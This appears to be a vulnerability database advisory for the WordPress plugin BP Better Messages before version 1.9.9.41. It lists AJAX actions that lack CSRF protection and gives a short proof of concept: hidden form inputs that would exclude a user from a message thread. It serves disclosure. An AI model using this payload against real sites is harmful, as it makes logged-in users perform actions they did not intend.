WordPress Plugin Vulnerabilities
BP Better Messages < 1.9.9.41 - Multiple CSRF
Description
The plugin does not check for CSRF in multiple of its AJAX actions: bp_better_messages_leave_chat, bp_better_messages_join_chat, bp_messages_leave_thread, bp_messages_mute_thread, bp_messages_unmute_thread, bp_better_messages_add_user_to_thread, bp_better_messages_exclude_user_from_thread. This could allow attackers to make logged in users do unwanted actions
Proof of Concept

<input type="hidden" name="action" value="bp_better_messages_exclude_user_from_thread" />
<input type="hidden" name="user_id" value="4" />
<input type="hidden" name="thread_id" value="3" />
